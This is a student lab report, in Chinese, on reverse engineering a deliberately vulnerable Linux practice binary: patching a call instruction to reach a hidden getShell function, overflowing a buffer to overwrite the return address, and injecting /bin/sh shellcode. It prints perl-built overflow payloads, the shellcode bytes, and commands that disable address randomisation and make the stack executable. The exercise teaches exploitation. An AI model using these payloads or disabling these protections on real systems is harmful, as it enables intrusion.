Exp1 PC平台逆向破解 20154302薛师凡

Exp1 PC平台逆向破解 20154302薛师凡

一、实践目标

对象是一个名为20154302的linux文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

二、实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个shellcode并运行这段shellcode。

三种方法

  • [1] 运行原本不可访问的代码片段
  • [2]强行修改程序执行流
  • [3]以及注入运行任意代码。

四、实践知识

1.熟悉Linux基本操作。
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
2.理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
3.会使用gdb,vi。
4.堆栈结构,返回地址,理解攻击缓冲区的结果,掌握返回地址的获取,掌握ELF文件格式,掌握动态技术。

五、实践步骤

一、直接修改程序机器指令,改变程序执行流程

1、下载目标文件pwn1,并讲它拷贝到文件20154302,进行反汇编。
并找到getshell函数、foo函数和main函数。

从图中可以看到主函数中调用位于8048491处的foo函数,对应的机器指令为e8 d7 ff ff ff,通过猜测可知e8为跳转之意。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491这个值。在这里进行计算时要注意在计算机内是采用小端模式即低字节优先。
main函数调用foo,对应机器指令为“e8d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
47d-4ba得到补码,是c3ffffff。下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

2、修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
2.1 用vim编辑器打开文件。
vi 20154302
2.2 在 vim 编辑器中按 Esc 键,输入" :%!xxd "将原格式转换成十六进制显示,结果如下:

2.3 输入“ /e8 d7 "找到要修改的内容,并将d7修改为c3。

2.4转换16进制为原格式
:%!xxd -r

2.5保存退出
:wq

3、再反汇编看一下,call指令是否正确调用getShell。
objdump -d 20154302 | more

二、通过构造输入参数,造成BOF攻击,改变程序执行流

1、对文件进行反汇编,了解程序的基本功能。

由图中可看出,main主函数会调用foo函数,我们将实现main主函数调用getshell函数,并得到getshell函数的地址为“0804847d”。
2、接下来确认缓冲区大小,溢出的部分将会覆盖到返回地址,cpu会尝试执行该部分代码,我们只需要调试出输入多少字符会溢出以及溢出字符的输入输出顺序,即输入字符串后吗,哪几个字符会覆盖到返回地址。把该溢出部分的数字对应上getshell的地址,cpu就会执行getshell。通过gdb进行调试,确认多少字符之后能覆盖以及覆盖到什么位置。

我们输入1111111122222222333333334444444412345678进行尝试。

可以由图中看出,1234为溢出字符,且存储为倒序。
3、倒序输入getshell的内存地址即“11111111222222223333333344444444\x7d\x84\x04\x08”,其中“\x0a”表示回车
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
并用16进制查看指令xxd,查看input文件的内容是否如预期。
xxd input

4、将input的输入,通过管道符“|”,作为20154302的输入,并查看是否达到效果。

三、注入Shellcode并执行

1、准备一段Shellcode
shellcode就是一段机器指令,我们这里使用的shellcode是文章“Shellcode”入门中生成的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
2、准备工作,修改设置
安装execstack软件apt-get install execstack

设置堆栈可执行execstack -s 20154302
查询文件的堆栈是否可执行.execstack -q 20154302
检测地址随机化状态more /proc/sys/kernel/randomize_va_space
关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
检测地址随机化状态more /proc/sys/kernel/randomize_va_space

如图所示,已完成设置,X表示文件的堆栈可执行,0表示地址随机化。
3、注入shellcode
Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。缓冲区小就用前一种方法,缓冲区大就用后一种方法。这里,我们这个buf够放这个shellcode了,我们选用前一种方法。
3.1和之前一样,我们把输入的字串放入input_shellcode文件里
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。
注意:最后一个字符不能是\x0a,即回车!
3.2打开一个终端注入这段语句
(cat input_shellcode;cat) | ./20154302

特别注意:只需要按一次回车就行了!
3.3打开另一个终端进行调试
1.查看进程号为:11165
ps -ef | grep 20154302
2.启动gdb进行调试
-gdb
-attach 11165

3.4在gdb模式下设置断点,来查看注入buf的内存地址。
disassemble foo

可以看到,会断在080484ae,ret完,就跳到我们覆盖的retaddr的位置了。
3.5设置断点后回到另一个终端,按一下回车后再回到该终端进行调试。
-break *0x080484ae
-c

3.6先找到ESP的地址,再根据ESP的地址找到shellcode的地址。
x/16x 0xffffd31c

如图,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4应该紧挨着shellcode,所以shellcode的位置应该是0xffffd3c0。
3.7退出gdb模式后,将shellcode写进去
perl -e 'print "A" x 32;print "\xc0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20154302

如图所示,说明注入攻击成功。

posted @ 2018-03-18 13:37  xueshifan  阅读(200)  评论(0编辑  收藏  举报